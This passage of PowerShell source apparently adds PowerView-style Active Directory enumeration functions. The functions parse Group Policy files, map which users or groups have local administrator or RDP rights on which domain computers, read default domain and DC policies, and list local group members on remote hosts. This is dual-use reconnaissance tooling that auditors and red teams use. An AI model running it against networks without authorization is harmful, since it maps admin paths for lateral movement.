$_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split("\")[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing target : $_" + } + } + } + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property "RemoteServerName" + } + } + + $DFSshares = @() + + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + $DFSshares | Sort-Object -Property "RemoteServerName" +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# + .SYNOPSIS + + Helper to parse a GptTmpl.inf policy file path into a custom object. + + .PARAMETER GptTmplPath + + The GptTmpl.inf file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target GptTmpl folder path as a temporary PSDrive. + + .EXAMPLE + + PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + Parse the default domain policy .inf for dev.testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GptTmplPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GptTmplPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $GptTmplPath = $RandDrive + ":\" + $FilePath + } + } + + process { + $SectionName = '' + $SectionsTemp = @{} + $SectionsFinal = @{} + + try { + + if(Test-Path $GptTmplPath) { + + Write-Verbose "Parsing $GptTmplPath" + + Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() + + if($PropertyValues -match ',') { + $PropertyValues = $PropertyValues.split(',') + } + + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) + } + + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + } + } + + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + } + + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal + } + } + catch { + Write-Debug "Error parsing $GptTmplPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + +function Get-GroupsXML { +<# + .SYNOPSIS + + Helper to parse a groups.xml file path into a custom object. + + .PARAMETER GroupsXMLpath + + The groups.xml file path name to parse. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive + + Switch. Mount the target groups.xml folder path as a temporary PSDrive. + +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GroupsXMLPath, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GroupsXMLPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $GroupsXMLPath = $RandDrive + ":\" + $FilePath + } + } + + process { + + # parse the Groups.xml file if it exists + if(Test-Path $GroupsXMLPath) { + + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + + $Members = @() + $MemberOf = @() + + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' + } + else { + $LocalSid = $_.Properties.groupName + } + } + $MemberOf = @($LocalSid) + + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + + if($_.sid) { + $Members += $_.sid + } + else { + # just a straight local account name + $Members += $_.name + } + } + } + + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } + + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} + + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } + } + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + + +function Get-NetGPO { +<# + .SYNOPSIS + + Gets a list of all current GPOs in a domain. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGPO -Domain testlab.local + + Returns the GPOs in the 'testlab.local' domain. +#> + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + + ) + + begin { + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if ($GPOSearcher) { + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } + + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } +} + + +function Get-NetGPOGroup { +<# + .SYNOPSIS + + Returns all GPOs in a domain that set "Restricted Groups" + or use groups.xml on on target machines. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup + + Get all GPOs that set local groups on the current domain. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [Switch] + $ResolveSids, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # get every GPO from the specified domain with restricted groups set + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + + $Memberof = $Null + $Members = $Null + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs + + if($Inf.GroupMembership) { + + $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + + # only return an object if Members are found + if ($Members -or $Memberof) { + + # if there is no Memberof defined, assume local admins + if(!$Memberof) { + $Memberof = 'S-1-5-32-544' + } + + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } + + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} + + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GPOPath + 'Filters' = $Null + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } + } + + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + 'ResolveSids' = $ResolveSids + 'UsePSDrive' = $UsePSDrive + } + + Get-GroupsXML @ParseArgs + } +} + + +function Find-GPOLocation { +<# + .SYNOPSIS + + Takes a user/group name and optional domain, and determines + the computers in the domain the user/group has local admin + (or RDP) rights to. + + It does this by: + 1. resolving the user/group to its proper sid + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' by calling + Get-NetGPOGroup + 4. matching the target sid list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + + .PARAMETER UserName + + A (single) user name name to query for access. + + .PARAMETER GroupName + + A (single) group name name to query for access. + + .PARAMETER Domain + + Optional domain the user exists in for querying, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm + + Find all computers that dfm user has local administrator rights to in + the current domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local + + Find all computers that dfm user has local administrator rights to in + the dev.testlab.local domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP + + Find all computers that jason has local RDP access rights to in the domain. +#> + + [CmdletBinding()] + Param ( + [String] + $UserName, + + [String] + $GroupName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($UserName) { + + $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $UserSid = $User.objectsid + + if(!$UserSid) { + Throw "User '$UserName' not found!" + } + + $TargetSid = $UserSid + $ObjectSamAccountName = $User.samaccountname + $ObjectDistName = $User.distinguishedname + } + elseif($GroupName) { + + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + $GroupSid = $Group.objectsid + + if(!$GroupSid) { + Throw "Group '$GroupName' not found!" + } + + $TargetSid = $GroupSid + $ObjectSamAccountName = $Group.samaccountname + $ObjectDistName = $Group.distinguishedname + } + else { + throw "-UserName or -GroupName must be specified!" + } + + if($LocalGroup -like "*Admin*") { + $LocalSID = "S-1-5-32-544" + } + elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { + $LocalSID = "S-1-5-32-555" + } + elseif ($LocalGroup -like "S-1-5*") { + $LocalSID = $LocalGroup + } + else { + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid." + } + + Write-Verbose "LocalSid: $LocalSID" + Write-Verbose "TargetSid: $TargetSid" + Write-Verbose "TargetObjectDistName: $ObjectDistName" + + if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + + # use the tokenGroups approach from Get-NetGroup to get all effective + # security SIDs this object is a part of + $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + + if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + + Write-Verbose "Effective target sids: $TargetSid" + + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # get all GPO groups, and filter on ones that match our target SID list + # and match the target local sid memberof list + $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { + + if ($_.members) { + $_.members = $_.members | Where-Object {$_} | ForEach-Object { + if($_ -match "S-1-5") { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + Convert-NameToSid -ObjectName $_ -Domain $Domain + } + } + + # stop PowerShell 2.0's string stupid unboxing + if($_.members -isnot [system.array]) { $_.members = @($_.members) } + if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } + + if($_.members) { + try { + # only return groups that contain a target sid + + # TODO: fix stupid weird "-DifferenceObject" is null error + if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) { + if ($_.memberof -contains $LocalSid) { + $_ + } + } + } + catch { + Write-Debug "Error comparing members and $TargetSid : $_" + } + } + } + } + + Write-Verbose "GPOgroups: $GPOgroups" + $ProcessedGUIDs = @{} + + # process the matches and build the result objects + $GPOgroups | Where-Object {$_} | ForEach-Object { + + $GPOguid = $_.GPOName + + if( -not $ProcessedGUIDs[$GPOguid] ) { + $GPOname = $_.GPODisplayName + $Filters = $_.Filters + + # find any OUs that have this GUID applied + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters? + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $_.adspath -match ($Filters.Value) + } | ForEach-Object { $_.dnshostname } + } + else { + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize + } + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName + $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers + $GPOLocation + } + + # find any sites that have this GUID applied + # TODO: fix, this isn't the correct way to query computers from a site... + # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { + # if($Filters) { + # # filter for computer name/org unit if a filter is specified + # # TODO: handle other filters? + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { + # $_.adspath -match ($Filters.Value) + # } | Foreach-Object {$_.dnshostname} + # } + # else { + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # } + + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # $out = New-Object PSObject + # $out | Add-Member Noteproperty 'Object' $ObjectDistName + # $out | Add-Member Noteproperty 'GPOname' $GPOname + # $out | Add-Member Noteproperty 'GPOguid' $GPOguid + # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + # $out | Add-Member Noteproperty 'Computers' $OUComputers + # $out + # } + + # mark off this GPO GUID so we don't process it again if there are dupes + $ProcessedGUIDs[$GPOguid] = $True + } + } + +} + + +function Find-GPOComputerAdmin { +<# + .SYNOPSIS + + Takes a computer (or GPO) object and determines what users/groups have + administrative access over it. + + Inverse of Find-GPOLocation. + + .PARAMETER ComputerName + + The computer to determine local administrative access to. + + .PARAMETER OUName + + OU name to determine who has local adminisrtative acess to computers + within it. + + .PARAMETER Domain + + Optional domain the computer/OU exists in, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER Recurse + + Switch. If a returned member is a group, recurse and get all members. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. + Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local + + Finds users who have local admin rights over WINDOWS3 through GPO correlation. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP + + Finds users who have RDP rights over WINDOWS3 through GPO correlation. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, + + [String] + $OUName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $Recurse, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + + if(!$ComputerName -and !$OUName) { + Throw "-ComputerName or -OUName must be provided" + } + + if($ComputerName) { + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $Computer in domain '$Domain' not found!" + } + + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $TargetOUs = $DN.split(",") | Foreach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + } + else { + $TargetOUs = @($OUName) + } + + Write-Verbose "Target OUs: $TargetOUs" + + $TargetOUs | Where-Object {$_} | Foreach-Object { + + $OU = $_ + + # for each OU the computer is a part of, get the full OU object + $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object { + # and then get any GPO links + $_.gplink.split("][") | Foreach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } | Foreach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | Foreach-Object { + $GPO = $_ + $GPO.members | Foreach-Object { + + # resolvethis SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -match '268435456') + $GPOComputerAdmin + + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { + + Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + + $MemberDN = $_.distinguishedName + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin + } + } + } + } + } + } +} + + +function Get-DomainPolicy { +<# + .SYNOPSIS + + Returns the default domain or DC policy for a given + domain or domain controller. + + Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. + + .PARAMETER Source + + Extract Domain or DC (domain controller) policies. + + .PARAMETER Domain + + The domain to query for default policies, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-NetGPO + + Returns the GPOs in the current domain. +#> + + [CmdletBinding()] + Param ( + [String] + [ValidateSet("Domain","DC")] + $Source ="Domain", + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive + ) + + if($Source -eq "Domain") { + # query the given domain for the default domain policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs + } + + } + elseif($Source -eq "DC") { + # query the given domain/dc for the default domain controller policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | Foreach-Object { + if($ResolveSids) { + # if we're resolving sids in PrivilegeRights to names + $Policy = New-Object PSObject + $_.psobject.properties | Foreach-Object { + if( $_.Name -eq 'PrivilegeRights') { + + $PrivilegeRights = New-Object PSObject + # for every nested SID member of PrivilegeRights, try to + # unpack everything and resolve the SIDs as appropriate + $_.Value.psobject.properties | Foreach-Object { + + $Sids = $_.Value | Foreach-Object { + try { + if($_ -isnot [System.Array]) { + Convert-SidToName $_ + } + else { + $_ | Foreach-Object { Convert-SidToName $_ } + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids + } + + $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights + } + else { + $Policy | Add-Member Noteproperty $_.Name $_.Value + } + } + $Policy + } + else { $_ } + } + } + } +} + + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# + .SYNOPSIS + + Gets a list of all current users in a specified local group, + or returns the names of all local groups with -ListGroups. + + .PARAMETER ComputerName + + The hostname or IP to query for local group users. + + .PARAMETER ComputerFile + + File of hostnames/IPs to query for local group users. + + .PARAMETER GroupName + + The local group name to query for users. If not given, it defaults to "Administrators" + + .PARAMETER ListGroups + + Switch. List all the local groups instead of their members. + Old Get-NetLocalGroups functionality. + + .PARAMETER Recurse + + Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup + + Returns the usernames that of members of localgroup "Administrators" on the local host. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP + + Returns all the local administrator accounts for WINDOWSXP + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse + + Returns all effective local/domain users/groups that can access WINDOWS7 with + local administrative privileges. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups + + Returns all local groups on the WINDOWS7 host. + + .LINK + + http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together + http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $GroupName = 'Administrators', + + [Switch] + $ListGroups, + + [Switch] + $Recurse + ) + + begin { + if ((-not $ListGroups) -and (-not $GroupName)) { + # resolve the SID for the local admin group - this should usually default to "Administrators" + $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') + $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) + $GroupName = ($Objgroup.Value).Split('\')[1] + } + } + process { + + $Servers = @() + + # if we have a host list passed, grab it + if($ComputerFile) { + $Servers = Get-Content -Path $ComputerFile + } + else { + # otherwise assume a single host name + $Servers += Get-NameField -Object $ComputerName + } + + # query the specified group using the WINNT provider, and + # extract fields as appropriate from the results + ForEach($Server in $Servers) { + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) + + $Members | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' $Server + + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-NT4toCanonical -ObjectName $AdsPath + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True + } + else { + $Name = $AdsPath + $IsDomain = $False + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + + # translate the binary sid to a string + $Member | 